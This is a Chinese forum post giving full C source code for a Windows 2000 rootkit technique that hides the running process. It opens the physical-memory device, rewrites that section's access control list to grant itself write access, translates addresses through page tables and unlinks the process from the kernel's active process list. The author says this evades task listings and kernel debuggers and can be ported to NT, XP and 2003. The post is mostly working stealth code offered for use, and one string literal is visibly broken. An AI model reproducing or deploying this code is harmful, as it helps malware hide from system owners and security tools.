上次在CVC提到了这东西,因为很简单觉得没必要多说什么,但有人要求写全,所以补充几句:
很多帖子对此论题作了分析,比如APIHOOK、系统服务HOOK等等,至于远线程注入没有自己的进程,本不算“隐藏”。 这里写一个2000下的完全隐藏方法,很简单,也没什么新意。 在讲解之前,首先提一提一些结构,进程执行体块中有数个进程相关链,其中之一是活动进程链。此链的重要作用之一就是在查询系统信息时供遍历当前活动进程,很有意思的是M$可能因效率因素使它被排除出进程核心块意味进线程切换等操作时并不利用它,进一步说改写它也不该有不可忽视的问题(此即本方案的基础)。 怎么做很明显了,在活动进程双向链中删除想要得隐藏的进程既可,核心调试器(如softice/proc)亦查不出来。 2000下的隐藏当前进程的代码如下:
#include<windows.h> #include<Accctrl.h> #include<Aclapi.h>
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) #define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)
typedef LONG NTSTATUS; typedef struct _IO_STATUS_BLOCK { NTSTATUS Status; ULONG Information; } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING;
#define OBJ_INHERIT 0x00000002L #define OBJ_PERMANENT 0x00000010L #define OBJ_EXCLUSIVE 0x00000020L #define OBJ_CASE_INSENSITIVE 0x00000040L #define OBJ_OPENIF 0x00000080L #define OBJ_OPENLINK 0x00000100L #define OBJ_KERNEL_HANDLE 0x00000200L #define OBJ_VALID_ATTRIBUTES 0x000003F2L
typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef NTSTATUS (CALLBACK* ZWOPENSECTION)( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes );
typedef VOID (CALLBACK* RTLINITUNICODESTRING)( IN OUT PUNICODE_STRING DestinationString, IN PCWSTR SourceString );
RTLINITUNICODESTRING RtlInitUnicodeString; ZWOPENSECTION ZwOpenSection; HMODULE g_hNtDLL = NULL; PVOID g_pMapPhysicalMemory = NULL; HANDLE g_hMPM = NULL;
BOOL InitNTDLL() { g_hNtDLL = LoadLibrary( "ntdll.dll" ); if ( !g_hNtDLL ) { return FALSE; }
RtlInitUnicodeString = (RTLINITUNICODESTRING)GetProcAddress(g_hNtDLL, tlInitUnicodeString");
ZwOpenSection = (ZWOPENSECTION)GetProcAddress(g_hNtDLL, "ZwOpenSection");
return TRUE; }
VOID CloseNTDLL() { if(g_hNtDLL != NULL) { FreeLibrary(g_hNtDLL); } }
VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection) {
PACL pDacl=NULL; PACL pNewDacl=NULL; PSECURITY_DESCRIPTOR pSD=NULL; DWORD dwRes; EXPLICIT_ACCESS ea;
if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION, NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS) { goto CleanUp; }
ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); ea.grfAccessPermissions = SECTION_MAP_WRITE; ea.grfAccessMode = GRANT_ACCESS; ea.grfInheritance= NO_INHERITANCE; ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME; ea.Trustee.TrusteeType = TRUSTEE_IS_USER; ea.Trustee.ptstrName = "CURRENT_USER";
if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS) { goto CleanUp; }
if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS) { goto CleanUp; }
CleanUp:
if(pSD) LocalFree(pSD); if(pNewDacl) LocalFree(pNewDacl); }
HANDLE OpenPhysicalMemory() { NTSTATUS status; UNICODE_STRING physmemString; OBJECT_ATTRIBUTES attributes;
RtlInitUnicodeString( &physmemString, L"//Device//PhysicalMemory" );
attributes.Length = sizeof(OBJECT_ATTRIBUTES); attributes.RootDirectory = NULL; attributes.ObjectName = &physmemString; attributes.Attributes = 0; attributes.SecurityDescriptor = NULL; attributes.SecurityQualityOfService = NULL;
status = ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);
if(status == STATUS_ACCESS_DENIED){ status = ZwOpenSection(&g_hMPM,READ_CONTROL|WRITE_DAC,&attributes); SetPhyscialMemorySectionCanBeWrited(g_hMPM); CloseHandle(g_hMPM); status =ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes); }
if( !NT_SUCCESS( status )) { return NULL; }
g_pMapPhysicalMemory = MapViewOfFile( g_hMPM, 4, 0, 0x30000, 0x1000); if( g_pMapPhysicalMemory == NULL ) { return NULL; }
return g_hMPM; }
PVOID LinearToPhys(PULONG BaseAddress,PVOID addr) { ULONG VAddr=(ULONG)addr,PGDE,PTE,PAddr; PGDE=BaseAddress[VAddr>>22]; if ((PGDE&1)!=0) { ULONG tmp=PGDE&0x00000080; if (tmp!=0) { PAddr=(PGDE&0xFFC00000)+(VAddr&0x003FFFFF); } else { PGDE=(ULONG)MapViewOfFile(g_hMPM, 4, 0, PGDE & 0xfffff000, 0x1000); PTE=((PULONG)PGDE)[(VAddr&0x003FF000)>>12]; if ((PTE&1)!=0) { PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF); UnmapViewOfFile((PVOID)PGDE); } else return 0; } } else return 0;
return (PVOID)PAddr; }
ULONG GetData(PVOID addr) { ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr); PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, 4, 0, phys & 0xfffff000, 0x1000); if (tmp==0) return 0; ULONG ret=tmp[(phys & 0xFFF)>>2]; UnmapViewOfFile(tmp); return ret; }
BOOL SetData(PVOID addr,ULONG data) { ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr); PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000); if (tmp==0) return FALSE; tmp[(phys & 0xFFF)>>2]=data; UnmapViewOfFile(tmp); return TRUE; }
BOOL HideProcessAtAll() { if (InitNTDLL()) { if (OpenPhysicalMemory()==0) { return FALSE; } ULONG thread=GetData((PVOID)0xFFDFF124); ULONG process=GetData(PVOID(thread+0x22c)); ULONG fw=GetData(PVOID(process+0xa0)),bw=GetData(PVOID(process+0xa4)); SetData(PVOID(fw+4),bw); SetData(PVOID(bw),fw); UnmapViewOfFile(g_pMapPhysicalMemory); CloseHandle(g_hMPM); CloseNTDLL(); } return TRUE; }
调用HideProcessAtAll即隐藏当前进程,如若一运行就隐藏,会修改到进程活动链表头,运行一段时间 后可能出现些小问题,怎么解决,留作“课后习题”了^_^ 注意默认物理地址0x30000为一页目录,在大多数情况时这样,但是是有例外的!怎么解决亦留作“...” 吧,不多废话了。
稍微改一下偏移可移植于NT/XP/2003。 |
|